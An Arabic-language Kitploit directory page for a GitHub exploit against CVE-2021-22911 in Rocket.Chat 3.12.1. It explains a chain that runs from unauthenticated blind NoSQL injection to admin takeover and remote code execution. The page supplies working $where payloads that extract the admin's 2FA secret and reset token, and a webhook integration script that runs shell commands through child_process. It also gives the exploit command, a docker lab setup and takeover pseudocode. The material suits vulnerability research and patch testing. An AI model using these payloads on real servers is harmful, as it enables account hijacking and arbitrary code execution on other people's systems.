Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2021-22911 — حقن NoSQL غير مصادق عليه أعمى يؤدي إلى تنفيذ تعليمات برمجية عن بعد في Rocket Chat 3.12.1 | Kitploit
أدوات/GitHubGitHub/csenox/cve-2021-22911
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقأداة الوصول عن بعد
GitHubcsenox/cve-2021-22911

CVE-2021-22911

حقن NoSQL غير مصادق عليه أعمى يؤدي إلى تنفيذ تعليمات برمجية عن بعد في Rocket Chat 3.12.1

عرض المستودع
618منذ 3 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2021-22911

حقن NoSQL أعمى قبل المصادقة يؤدي إلى تنفيذ التعليمات البرمجية عن بُعد في Rocket Chat 3.12.1

  • طريقة getPasswordPolicy معرضة لهجمات حقن NoSQL ولا تتطلب مصادقة/تفويض. يمكن استخدامها للاستيلاء على الحسابات عن طريق تسريب رموز إعادة تعيين كلمة المرور. يؤدي الاستيلاء على حساب مسؤول إلى تنفيذ التعليمات البرمجية عن بُعد.

الشرح

  1. اختطاف حساب المستخدم (بدون مصادقة)
  • يوجد حقن NoSQL في نقطة النهاية getPasswordPolicy في معلمة token لإعادة تعيين كلمة المرور، والتي تأخذ كائن json مما يسمح لنا باستخدام عامل $regex. والذي نستخدمه لتنفيذ حقن NoSQL أعمى للحصول على رمز إعادة التعيين.
  1. تصعيد الامتيازات إلى مسؤول (بمصادقة)
  • لذا فالمستخدم المسؤول على الأرجح محمي بواسطة 2fa. لذلك حتى لو قمنا بتغيير كلمة مرور المسؤول من خلال (1) سيطلب رمز 2fa عند تسجيل الدخول.

  • نقطة النهاية لواجهة برمجة التطبيقات users.list تأخذ معامل query وهو معرض لحقن NoSQL. نحن أيضًا قادرون على استرداد البيانات عن طريق إلقاء خطأ.

  • نقوم بتشغيل الاستعلام التالي للحصول على سر 2fa للمسؤول: {"$where":"this.username==='admin' && (()=>{ throw this.services.totp.secret })()"}

  • بعد ذلك نقوم فقط بـ (1) لإعادة تعيين كلمة مرور المسؤول واستخدام سر 2fa لإنشاء رمز يمكننا استخدامه لتسجيل الدخول.

  • مُحدّث: يمكنك أيضًا استرداد رمز إعادة التعيين بنفس الطريقة التي استرَدَدت بها سر 2fa: {"$where":"this.username==='admin' && (()=>{ throw this.services.password.reset.token })()"}

  1. تنفيذ التعليمات البرمجية عن بُعد (موثّق - مسؤول)
  • Rocket.Chat يحتوي على ميزة تسمى Integrations تسمح بإنشاء web hooks واردة وصادرة. يمكن أن تحتوي هذه web hooks على نصوص برمجية مرتبطة بها يتم تنفيذها عند تفعيل الـ web hook.
  • نقوم بإنشاء تكامل مع النص البرمجي التالي:
root@kitploit:~
const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec('command here');
  • بعد ذلك نقوم فقط بتفعيل الـ web hook للحصول على تنفيذ التعليمات البرمجية عن بُعد :)

الاستخدام

  • ستحتاج إلى بريد إلكتروني لمستخدم بصلاحيات منخفضة ليس لديه إعداد 2fa. ( -u )
  • ستحتاج أيضًا إلى معرفة البريد الإلكتروني للمسؤول. ليست مشكلة إذا كان المسؤول محميًا بـ 2fa. ( -a )
root@kitploit:~
python3 exploit.py -u "[email protected]" -a "[email protected]" -t "http://rocket.local"

البيئة

  • تم الاختبار على Rocket Chat 3.12.1
  • بناء بيئة الاختبار الخاصة بك باستخدام docker:
root@kitploit:~
docker run --name db -d mongo:3.6 --smallfiles --replSet rs0 --oplogSize 128
docker exec -ti db mongo --eval "printjson(rs.initiate())"
docker run --name rocketchat -p 80:3000 --link db --env ROOT_URL=http://localhost --env MONGO_OPLOG_URL=mongodb://db:27017/local -d rocket.chat:3.12.1

  • تفعيل سياسة كلمة المرور (Password Policy)
  • تفعيل 2FA للمسؤول
  • تسجيل مستخدم عادي.

ملاحظة: إذا كنت لا تريد حماية المسؤول بـ 2FA يمكنك القيام بما يلي.

  1. إرسال بريد نسيان كلمة المرور
  2. الحصول على رمز إعادة التعيين للمسؤول
  3. تغيير كلمة المرور باستخدام رمز إعادة التعيين المسترد
root@kitploit:~
# Admin Account Takover [ No 2fa ]
forgotpassword(adminmail,target)
token = resettoken(target)
changingpassword(target,token)

الاعتمادات

  • https://hackerone.com/reports/1130721 ( المصدر من Sonar )
  • https://blog.sonarsource.com/nosql-injections-in-rocket-chat

Exploit-db

  • https://www.exploit-db.com/exploits/49960 ( الإصدار 1 )
  • https://www.exploit-db.com/exploits/50108 ( الإصدار 2 )
تنزيل الأداة